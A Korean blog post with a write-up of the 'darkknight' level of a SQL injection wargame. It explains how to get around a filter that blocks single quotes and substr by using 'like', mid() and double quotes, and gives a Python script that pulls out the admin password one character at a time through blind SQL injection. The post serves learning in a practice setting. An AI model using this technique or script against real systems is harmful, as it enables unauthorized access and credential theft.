본문 바로가기
보안/웹

los darknight

by laoching 2022. 3. 24.
728x90
반응형

blind sql injection입니다.

prob _ . ()을 입력하면 No Hack ~_~

' substr ascii를 입력하면 HeHe를 보여주는군요...

 

' 없이 injection이 가능한가?를 고민했던 문제입니다.

그러다 문득 no에는 ''가 씌여있지 않아 함수가 실행가능하지 않을까??? 라는 생각이 떠올랐고 쿼리를 써보았습니다.

 

length(pw) like 8 을 써봅니다... 결과는 admin이 나오네요... 이로서 id가 admin인 녀석의 pw는 8글자라는 것을 알아냈습니다.

 

그럼 substr은 안되니 mid로 한글자씩 추출해봅시다.

import requests as req
pwd = ""
cookies = {'PHPSESSID':''}
string = "1234567890abcdefghijklmnopqrstuvwxyz"
for i in range(1, 9):
    for j in string:
        url = f'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1&no=1 or 1 like 1 and id like "admin" and mid(pw,{i},1) like "{j}" -- '
        res = req.get(url=url, cookies=cookies)
        if 'Hello admin' in res.text:
            pwd += j

print(pwd)

코드를 보면 다른 코드와 다른 부분이 있습니다. 혹시 눈치를 채셨나요??

바로 mid(pw, {i}, 1) like "{j}" 입니다.

mid의 실행 결과를 문자열과 비교해야 하는데, 싱글쿼터는 사용이 불가능해서 더블쿼터로 바꿔주었습니다.

그것 뿐입니다.

728x90
반응형

'보안 > ' 카테고리의 다른 글

los golem  (0) 2022.03.24
los orge  (0) 2022.03.24
los orc (lord of sqlinjection 4번)  (0) 2022.03.22
HTTP Method  (0) 2022.02.01
textarea사용하기  (0) 2015.02.15

댓글